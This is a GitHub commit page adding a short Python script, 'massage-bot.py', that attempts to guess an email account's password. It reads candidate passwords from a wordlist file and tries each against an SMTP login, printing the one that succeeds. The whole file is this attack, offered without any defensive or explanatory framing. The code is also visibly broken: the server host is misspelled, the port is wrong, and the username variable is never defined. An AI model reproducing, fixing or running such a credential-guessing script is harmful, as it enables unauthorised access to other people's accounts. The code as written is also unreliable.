Skip to content

Commit 1afd653

Browse files
authored
Create massage-bot.py
1 parent f50b7a5 commit 1afd653

File tree

1 file changed

+18
-0
lines changed

1 file changed

+18
-0
lines changed

massage-bot.py

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
import smtplib
2+
3+
smtpserver = smtplib.SMTP("smt.gmail.com", 52)
4+
smtpserver.ehlo()
5+
smtpserver.starttls()
6+
7+
8+
9+
passwfile = open("/password.txt")
10+
11+
for password in passwfile:
12+
try:
13+
smtpserver.login(usr, password)
14+
15+
print(password)
16+
break;
17+
except smtplib.SMTPAuthenticationError:
18+
print("doqoon")

0 commit comments

Comments
 (0)